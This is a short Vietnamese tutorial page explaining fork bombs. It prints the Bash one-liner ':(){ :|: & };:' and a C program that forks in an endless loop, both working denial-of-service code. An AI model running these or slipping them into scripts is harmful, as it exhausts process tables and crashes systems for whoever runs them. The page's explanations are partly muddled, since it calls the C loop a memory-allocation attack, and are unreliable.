Computer >> Máy Tính >  >> Lập trình >> lập trình C

C vs BASH Fork bom?

Bom Fork () là một cuộc tấn công Dos (Denial Of Service) chống lại hệ thống dựa trên linux. Điều này gọi hệ thống Fork () vô số lần lấp đầy bộ nhớ của chương trình và có ý định gây hại cho hệ thống.

Tập lệnh bash cho bom ngã ba

:(){ :|: & };:

Đoạn mã được giải thích là :() là định nghĩa hàm, {} xác định phần thân của vòng lặp. :|:&tạo một vị trí bộ nhớ và không cho phép nó bị phân bổ. Chương trình này lặp đi lặp lại nhiều lần. Do đó, gọi vô hạn cuộc gọi.

Bom C Fork cũng là loại Dos tương tự nhưng nó có thể chạy trên trình biên dịch C. Điều đó tạo ra các lệnh gọi vô hạn đến cấp phát bộ nhớ và chạy hệ thống hết bộ nhớ.

Ví dụ

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}

Đầu ra

Infinite calls